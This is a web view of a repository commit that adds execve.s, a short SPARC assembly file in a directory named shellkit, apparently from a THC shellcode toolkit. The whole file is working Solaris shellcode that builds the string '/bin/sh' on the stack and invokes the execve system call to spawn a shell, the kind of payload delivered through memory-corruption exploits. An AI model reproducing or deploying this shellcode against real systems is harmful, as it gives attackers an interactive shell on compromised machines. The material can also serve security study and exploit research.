summaryrefslogtreecommitdiff
path: root/other/shellkit/sparc_solaris/execve.s
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /other/shellkit/sparc_solaris/execve.s
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'other/shellkit/sparc_solaris/execve.s')
-rw-r--r--other/shellkit/sparc_solaris/execve.s20
1 files changed, 20 insertions, 0 deletions
diff --git a/other/shellkit/sparc_solaris/execve.s b/other/shellkit/sparc_solaris/execve.s
new file mode 100644
index 0000000..0a0c11b
--- /dev/null
+++ b/other/shellkit/sparc_solaris/execve.s
@@ -0,0 +1,20 @@
1 .globl cbegin
2 .globl cend
3
4cbegin:
5
6 sethi 0xbd89a, %l6
7 or %l6, 0x16e, %l6
8 sethi 0xbdcda, %l7
9 add %sp, 8, %o0
10 or %sp, %sp, %o1
11 add %sp, 16, %sp
12 xor %o6, %o6, %o2
13 std %l6, [%sp - 8]
14 st %o0, [%sp - 16]
15 st %o2, [%sp - 12]
16 mov 0x3b, %g1
17 ta 8
18
19cend:
20